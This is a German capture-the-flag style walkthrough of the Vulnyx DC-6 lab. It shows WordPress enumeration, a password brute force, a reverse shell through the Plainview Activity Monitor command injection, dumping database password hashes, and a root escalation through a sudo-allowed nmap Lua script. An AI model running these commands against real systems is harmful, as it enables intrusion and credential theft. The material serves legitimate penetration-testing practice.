DC-6 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wpscan
wfuzz
searchsploit
john
Metasploit

Inhaltsverzeichnis

Reconnaissance

ARP-Scan

192.168.2.167 08:00:27:af:04:55 PCS Systemtechnik GmbH

/etc/hosts

192.168.2.167 dc6.vln

Der ARP-Scan zeigt die IP-Adresse und die MAC-Adresse des Zielsystems sowie den Hersteller der Netzwerkkarte. Der Eintrag in der /etc/hosts-Datei ermöglicht die Verwendung des Hostnamens `dc6.vln` anstelle der IP-Adresse. Dies erleichtert die weitere Bearbeitung.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-17 22:50 CEST
Nmap scan report for dc6.vln (192.168.2.167)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
| 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_ 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 08:00:27:AF:04:55 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms dc6.vln (192.168.2.167)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.96 seconds

Nmap wurde verwendet, um offene Ports und laufende Dienste auf dem Zielsystem zu identifizieren. Port 22 (SSH) und Port 80 (HTTP) sind offen. Apache httpd 2.4.25 läuft auf Port 80. Die HTTP-Anfrage wird auf `http://wordy/` weitergeleitet.

Empfehlung:

Die Apache-Version 2.4.25 ist veraltet und anfällig für verschiedene Sicherheitslücken. Ein Update auf eine aktuelle Version wird dringend empfohlen.

Web Enumeration

- Nikto v2.5.0

+ Target IP: 192.168.2.167
+ Target Hostname: 192.168.2.167
+ Target Port: 80
+ Start Time: 2024-10-17 22:51:21 (GMT+0200)

+ Server: Apache/2.4.25 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://wordy/
+ /index.php?: Drupal Link header found with value: ARRAY(0x563ee3916df8). See: https://www.drupal.org/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2024-10-17 22:51:45 (GMT+0200) (24 seconds)

+ 1 host(s) tested

Nikto hat das Ziel auf bekannte Schwachstellen untersucht. Es wurden fehlende X-Frame-Options- und X-Content-Type-Options-Header gefunden, was potenzielle Clickjacking- und MIME-Sniffing-Angriffe ermöglicht. Die Weiterleitung auf `http://wordy/` und der Hinweis auf WordPress deuten auf eine WordPress-Installation hin.

Empfehlung:

Die gefundenen Header sollten konfiguriert werden, um die Sicherheit zu erhöhen. Die WordPress-Installation sollte auf dem neuesten Stand gehalten werden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.167/index.php (Status: 200) [Size: 53227]
http://192.168.2.167/wp-content (Status: 301) [Size: 319] [--> http://192.168.2.167/wp-content/]
http://192.168.2.167/wp-login.php (Status: 200) [Size: 2808]
http://192.168.2.167/license.txt (Status: 200) [Size: 19935]
http://192.168.2.167/wp-includes (Status: 301) [Size: 320] [--> http://192.168.2.167/wp-includes/]
http://192.168.2.167/readme.html (Status: 200) [Size: 7425]
http://192.168.2.167/wp-trackback.php (Status: 200) [Size: 135]
http://192.168.2.167/wp-admin (Status: 301) [Size: 317] [--> http://192.168.2.167/wp-admin/]
http://192.168.2.167/xmlrpc.php (Status: 405) [Size: 42]

Gobuster wurde verwendet, um versteckte Dateien und Verzeichnisse auf dem Webserver zu finden. Die Ergebnisse bestätigen die WordPress-Installation.

Empfehlung:

Alle gefundenen Dateien und Verzeichnisse sollten auf potenzielle Schwachstellen untersucht werden. Insbesondere sollte geprüft werden, ob die WordPress-Installation und die Plugins anfällig für Angriffe sind.

┌──(root㉿CCat)-[~]
└─# wpscan --url http://wordy -e u,p --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://wordy/ [192.168.2.167]

[+] Started: Thu Oct 17 22:56:13 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.25 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
| Found By: Rss Generator (Passive Detection)
| - http://wordy/index.php/feed/, https://wordpress.org/?v=5.1.1
| - http://wordy/index.php/comments/feed/, https://wordpress.org/?v=5.1.1
|
| [!] 62 vulnerabilities identified:
|
| [!] Title: WordPress 5.0-5.2.2 - Authenticated Stored XSS in Shortcode Previews
| Fixed in: 5.1.2
| References:
| - https://wpscan.com/vulnerability/8aca2325-14b8-4b9d-94bd-d20b2c3b0c77
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16219
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://fortiguard.com/zeroday/FG-VD-18-165
| - https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
| Fixed in: 5.1.19
| References:
| - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
| Fixed in: 5.1.19
| References:
| - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
| Fixed in: 5.1.19
| References:
| - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentyseventeen
| Location: http://wordy/wp-content/themes/twentyseventeen/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.7
| Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating Most Popular Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] sarah
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] mark
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

WPScan wurde verwendet, um die WordPress-Installation auf Schwachstellen zu untersuchen. Es wurden zahlreiche Schwachstellen identifiziert, darunter eine veraltete WordPress-Version (5.1.1) und ein veraltetes Theme (twentyseventeen). Es wurden auch mehrere Benutzer identifiziert: admin, sarah, graham, mark und jens.

Empfehlung:

Die WordPress-Installation und das Theme sollten umgehend auf die neuesten Versionen aktualisiert werden, um die identifizierten Schwachstellen zu beheben. Es sollten zudem Maßnahmen ergriffen werden, um die Sicherheit der Benutzerkonten zu erhöhen, z. B. die Verwendung starker Passwörter und die Aktivierung der Zwei-Faktor-Authentifizierung.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "192.168.2.167/wp-trackback.php?FUZZ=../../../../../../../etc/passwd" --hc 404 --hh 135
Target: http://192.168.2.167/wp-trackback.php?FUZZ=../../../../../../../etc/passwd

ID Response Lines Word Chars Payload
---------------------------------------------------------------------------------
000000269: 302 0 L 0 W 0 Ch "static"

Total time: 0
Processed Requests: 19754
Filtered Requests: 19753
Requests/sec.: 0

Wfuzz wurde verwendet, um eine Path Traversal-Schwachstelle in der Datei `wp-trackback.php` zu finden. Die Ergebnisse deuten darauf hin, dass die Schwachstelle nicht vorhanden ist.

┌──(root㉿CCat)-[~]
└─# wpscan --url http://wordy --usernames user.txt --passwords passwords.txt
[+] Performing password attack on Xmlrpc against 6 user/s
Cying graham / dtk016 Time: 00:02:41 < > (12129 / 17883) 67.82% ETA: 00:01:17
[!] Valid Combinations Found:
---------------------------------------------------------------------------------
| Username: mark, Password: helpdesk01
---------------------------------------------------------------------------------

[+] WPScan DB API K1 Time: 00:02:41 <= > (12130 / 17883) 67.82% ETA: 00:01:17
| Plan: free
| Requests Done (during the scan): 2
| Requests Remaining: 19

[+] Finished: Fri Oct 18 00:10:00 2024
[+] Requests Done: 12312
[+] Cached Requests: 5
[+] Data Sent: 6.019 MB
[+] Data Received: 7.535 MB
[+] Memory used: 311.258 MB
[+] Elapsed time: 00:02:47

Scan Aborted: Canceled by User

WPScan wurde verwendet, um eine Brute-Force-Attacke auf die WordPress-Benutzerkonten durchzuführen. Es wurde das Passwort `helpdesk01` für den Benutzer `mark` gefunden.

Empfehlung:

Das gefundene Passwort ist schwach und sollte umgehend geändert werden. Es sollten zudem Maßnahmen ergriffen werden, um die Sicherheit der Benutzerkonten zu erhöhen, z. B. die Verwendung starker Passwörter und die Aktivierung der Zwei-Faktor-Authentifizierung.

Initial Access

Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)
Timeline:
=
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list

Description:
=
Plainview Activity Monitor Wordpress plugin is vulnerable to S
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.
PoC:
-->Wordpress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine S Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well

Es wurde ein Exploit für das WordPress-Plugin "Plainview Activity Monitor" gefunden (CVE-2018-15877), der eine Command Injection ermöglicht. Um diesen Exploit auszunutzen, sind Administratorrechte erforderlich.

┌──(root㉿CCat)-[~]
└─# searchsploit "activity monitor"
Exploit Title | Path

Activity Monitor 2002 2.6 - Remote Denial of Service | windows/dos/22690.c
RedHat Linux 6.0/6.1/6.2 - 'pam_console' Monitor Activity After Logout | linux/local/19900.c
WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection | php/webapps/45274.html
WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2) | php/webapps/50110.py
┌──(root㉿CCat)-[~]
└─# searchsploit -m php/webapps/45274.html
Exploit: WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection
URL: https://www.exploit-db.com/exploits/45274
Path: /usr/share/exploitdb/exploits/php/webapps/45274.html
Codes: CVE-2018-15877
Verified: True
File Type: ReStructuredText file, ASCII text
Copied to: /root/45274.html
┌──(root㉿CCat)-[~]
└─# mv 45274.html Activity_Monitor.html

Das Exploit-Skript `45274.html` wurde in `Activity_Monitor.html` umbenannt.

msf6 auxiliary(scanner/ssh/ssh_login) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:4444

Metasploit Framework (MSF) wird gestartet und der `multi/handler`-Exploit wird verwendet, um eine Reverse Shell zu empfangen. Die LHOST (eth0) und LPORT (4444) werden festgelegt und der Exploit wird ausgeführt.

┌──(root㉿CCat)-[~]
└─# mv Activity_Monitor.html /home/ccat/Downloads
Firefox/Datei öffnen/Activity_Monitor.html
file:///home/ccat/Downloads/Activity_Monitor.html

[ Submit request ] << Button Verbindet shell
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.167:51118) at 2024-10-18 00:24:07 +0200
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Durch Ausführen des Exploit-Skripts `Activity_Monitor.html` wurde eine Reverse Shell als Benutzer `www-data` geöffnet.

Privilege Escalation

wp-config.php:/ MySQL database username */
wp-config.php:define( 'DB_USER', 'wpdbuser' );
wp-config.php:/ MySQL database password */
wp-config.php:define( 'DB_PASSWRD', 'meErKatZ' );

In der Datei `wp-config.php` wurden die Anmeldeinformationen für die MySQL-Datenbank gefunden. Der Benutzername ist `wpdbuser` und das Passwort ist `meErKatZ`.

www-data@dc-6:/var/www/html$ mysql -u wpdbuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 139595
Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--+
| Database |
+--+
| information_schema |
| wordpressdb |
+--+
2 rows in set (0.00 sec)
MariaDB [(none)]> use wordpressdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wordpressdb]> show tables;
+--+
| Tables_in_wordpressdb |
+--+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_pv_am_activities |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+--+
13 rows in set (0.00 sec)
MariaDB [wordpressdb]> select * from wp_users;
+-++++--+-++--+-+--+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+-++++--+-++--+-+--+
| 1 | admin | $P$BDhiv9Y.kYzAN8XmDbzG00hpbb2LA1 | admin | blah@blahblahblah1.net.au | | 2019-04-24 12:52:10 | | 0 | admin |
| 2 | graham | $P$B/mSJ8xC4iPJAbCzbRXKilHMbSoFE41 | graham | graham@blahblahblah1.net.au | | 2019-04-24 12:54:57 | | 0 | Graham Bond |
| 3 | mark | $P$BdDI8ehZK5B/cJS8H0j1hU1J9t810/ | mark | mark@blahblahblah1.net.au | | 2019-04-24 12:55:39 | | 0 | Mark Jones |
| 4 | sarah | $P$BEDLXt6PUnSiB6lVaYkqUIM/qx.3/ | sarah | sarah@blahblahblah1.net.au | | 2019-04-24 12:56:10 | | 0 | Sarah Balin |
| 5 | jens | $P$B//75HFVPBwqsUTvkBcHA8i4DUJ7Ru0 | jens | jens@blahblahblah1.net.au | | 2019-04-24 13:04:40 | 1729200678:$P$B7fz3M3eryp7KpbxZZQSTDa6AP7fMw0 | 0 | Jens Dagmeister |
+-++++--+-++--+-+--+
5 rows in set (0.00 sec)

Mit den gefundenen Anmeldeinformationen wurde eine Verbindung zur MySQL-Datenbank hergestellt. Die Tabelle `wp_users` wurde ausgelesen, um die Benutzernamen und Passworthashes zu erhalten.

┌──(root㉿CCat)-[~]
└─# cat userpass| awk '{print $6}'
$P$BDhiv9Y.kYzAN8XmDbzG00hpbb2LA1
$P$B/mSJ8xC4iPJAbCzbRXKilHMbSoFE41
$P$BdDI8ehZK5B/cJS8H0j1hU1J9t810/
$P$BEDLXt6PUnSiB6lVaYkqUIM/qx.3/
$P$B//75HFVPBwqsUTvkBcHA8i4DUJ7Ru0

Die Passworthashes der Benutzer wurden extrahiert.

MariaDB [wordpressdb]> bye;
ERRR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'bye' at line 1
MariaDB [wordpressdb]> exit
Bye
www-data@dc-6:/var/www/html$ cd /var/mail/
www-data@dc-6:/var/mail$ ls -la
total 8
drwxrwsr-x 2 root mail 4096 Apr 24 2019 .
drwxr-xr-x 12 root root 4096 Apr 24 2019 ..
www-data@dc-6:/var/mail$ ls -la /var/backups/
total 28
drwxr-xr-x 2 root root 4096 Apr 26 2019 .
drwxr-xr-x 12 root root 4096 Apr 24 2019 ..
-rw-r--r-- 1 root root 15142 Apr 26 2019 apt.extended_states.0
-rw-r--r-- 1 root root 1627 Apr 24 2019 apt.extended_states.1.gz
www-data@dc-6:/var/mail$ ls -la /home/jens/
total 28
drwxr-xr-x 2 jens jens 4096 Apr 26 2019 .
drwxr-xr-x 6 root root 4096 Apr 26 2019 ..
-rw- 1 jens jens 5 Apr 26 2019 .bash_history
-rw-r--r-- 1 jens jens 220 Apr 24 2019 .bash_logout
-rw-r--r-- 1 jens jens 3526 Apr 24 2019 .bashrc
-rw-r--r-- 1 jens jens 675 Apr 24 2019 .profile
-rwxrwxr-x 1 jens devs 50 Apr 26 2019 backups.sh
www-data@dc-6:/var/mail$ cat /home/jens/.bash_history
cat: /home/jens/.bash_history: Permission denied
www-data@dc-6:/var/mail$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
www-data@dc-6:/var/www/html$ cd /home/jens/
www-data@dc-6:/home/jens$ ./backups.sh
tar: Removing leading `/' from member names
tar (child): backups.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now
tar: backups.tar.gz: Wrote only 4096 of 10240 bytes
tar: Child returned status 2
tar: Error is not recoverable: exiting now
www-data@dc-6:/home/jens$ cd /home/mark/
www-data@dc-6:/home/mark$ ls -la
total 28
drwxr-xr-x 3 mark mark 4096 Apr 26 2019 .
drwxr-xr-x 6 root root 4096 Apr 26 2019 ..
-rw- 1 mark mark 5 Apr 26 2019 .bash_history
-rw-r--r-- 1 mark mark 220 Apr 24 2019 .bash_logout
-rw-r--r-- 1 mark mark 3526 Apr 24 2019 .bashrc
-rw-r--r-- 1 mark mark 675 Apr 24 2019 .profile
drwxr-xr-x 2 mark mark 4096 Apr 26 2019 stuff
www-data@dc-6:/home/mark$ cat .bash_history
cat: .bash_history: Permission denied
www-data@dc-6:/home/mark$ cd stuff/
www-data@dc-6:/home/mark/stuff$ ls -la
total 12
drwxr-xr-x 2 mark mark 4096 Apr 26 2019 .
drwxr-xr-x 3 mark mark 4096 Apr 26 2019 ..
-rw-r--r-- 1 mark mark 241 Apr 26 2019 things-to-do.txt
www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party

- Add new user: graham - GSo7isUM1D4 - done

- Apply for the SCP course
- Buy new laptop for Sarah's replacement

In der Datei `things-to-do.txt` wurde das Passwort `GSo7isUM1D4` für den Benutzer `graham` gefunden.

┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

helpdesk01 (?)

1g 0:00:05:05 DNE (2024-10-18 00:41) 0.003274g/s 46968p/s 212869c/s 212869C/s !!sophieblades!!..*7¡Vamos!
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.

Mit John the Ripper wurde versucht, die Passworthashes der Benutzer zu knacken. Das Passwort `helpdesk01` wurde für den Benutzer `mark` gefunden.

www-data@dc-6:/home/mark/stuff$ su graham
Password:
graham@dc-6:/home/mark/stuff$ id
uid=1001(graham) gid=1001(graham) groups=1001(graham),1005(devs)

Mit dem gefundenen Passwort wurde erfolgreich zum Benutzer `graham` gewechselt.

graham@dc-6:/home/mark/stuff$ find / -type f -perm -4000 -ls 2>/dev/null
144369 44 -rwsr-xr-- 1 root messagebus 42992 Mar 2 2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
147773 432 -rwsr-xr-x 1 root root 440728 Mar 2 2019 /usr/lib/openssh/ssh-keysign
6521 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
131173 52 -rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
156372 140 -rwsr-xr-x 1 root root 140944 Jun 5 2017 /usr/bin/sudo
131176 76 -rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
134259 40 -rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
131174 40 -rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
131177 60 -rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
307 40 -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
319 44 -rwsr-xr-x 1 root root 44304 Mar 8 2018 /bin/mount
320 32 -rwsr-xr-x 1 root root 31720 Mar 8 2018 /bin/umount
1221 60 -rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping

Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem gesetzten SUID-Bit.

graham@dc-6:/home/mark/stuff$ getcap -r / 2>/dev/null
graham@dc-6:/home/mark/stuff$
graham@dc-6:/home/mark/stuff$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
(jens) NPASSWD: /home/jens/backups.sh

Der Benutzer `graham` darf das Skript `/home/jens/backups.sh` als Benutzer `jens` ausführen.

graham@dc-6:/home/mark/stuff$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
graham@dc-6:/home/mark/stuff$ sudo -u jens /home/jens/backups.sh
tar: Removing leading `/' from member names
tar (child): backups.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now
tar: backups.tar.gz: Wrote only 4096 of 10240 bytes
tar: Child returned status 2
tar: Error is not recoverable: exiting now
graham@dc-6:/home/mark/stuff$ nano /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
/bin/bash

Dem Skript `/home/jens/backups.sh` wurde die Zeile `/bin/bash` hinzugefügt.

Privilege Escalation
graham@dc-6:/home/mark/stuff$ sudo -u jens /home/jens/backups.sh
tar: Removing leading `/' from member names
tar (child): backups.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now
tar: backups.tar.gz: Wrote only 4096 of 10240 bytes
tar: Child returned status 2
tar: Error is not recoverable: exiting now
jens@dc-6:/home/mark/stuff$
jens@dc-6:/home/mark/stuff$ sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
(root) NPASSWD: /usr/bin/nmap

Der Benutzer `jens` darf das Programm `/usr/bin/nmap` als Benutzer `root` ausführen.

jens@dc-6:/home/mark/stuff$ TF=$(mktemp)
jens@dc-6:/home/mark/stuff$ echo 'os.execute("/bin/sh")' > $TF
jens@dc-6:/home/mark/stuff$ sudo -u root nmap --script=$TF

Mit Nmap wurde eine Shell als Benutzer `root` gestartet.

Starting Nmap 7.40 ( https://nmap.org/ ) at 2024-10-18 08:49 AEST
NSE: Warning: Loading '/tmp/tmp.5584KefVIQ' -- the recommended file extension is '.nse'.
# uid=0(root) gid=0(root) groups=0(root)

Proof of Concept: Root-Zugriff über Nmap und Lua-Script

Dieser Proof of Concept demonstriert, wie die Möglichkeit, Nmap als Root auszuführen, in Verbindung mit einem Lua-Script genutzt werden kann, um eine Root-Shell zu erhalten.

Voraussetzungen

  • Zugriff auf das System als Benutzer mit Sudo-Rechten für Nmap.
  • Kenntnisse über die Verwendung von Nmap und Lua-Skripten.

Schritt-für-Schritt-Anleitung

  1. Erstellen Sie eine temporäre Datei, die ein Lua-Skript enthält, das eine Shell ausführt:
    jens@dc-6:/home/mark/stuff$ TF=$(mktemp)
    Dieser Befehl erstellt eine temporäre Datei und speichert ihren Pfad in der Variablen TF.
    jens@dc-6:/home/mark/stuff$ echo 'os.execute("/bin/sh")' > $TF
    Dieser Befehl schreibt den Lua-Code `os.execute("/bin/sh")` in die temporäre Datei.
  2. Führen Sie Nmap mit dem Lua-Skript als Root aus:
    jens@dc-6:/home/mark/stuff$ sudo -u root nmap --script=$TF
    Dieser Befehl führt Nmap als Root aus und weist es an, das Lua-Skript aus der temporären Datei auszuführen.
  3. Überprüfen Sie, ob Sie Root-Rechte haben:
    Starting Nmap 7.40 ( https://nmap.org/ ) at 2024-10-18 08:49 AEST
    NSE: Warning: Loading '/tmp/tmp.5584KefVIQ' -- the recommended file extension is '.nse'.
    # uid=0(root) gid=0(root) groups=0(root)
    Die Ausgabe `# uid=0(root) gid=0(root) groups=0(root)` bestätigt, dass die Shell als Root ausgeführt wird.

Erwartetes Ergebnis

Nach erfolgreicher Ausführung des Nmap-Befehls sollte eine Root-Shell gestartet werden.

Beweismittel

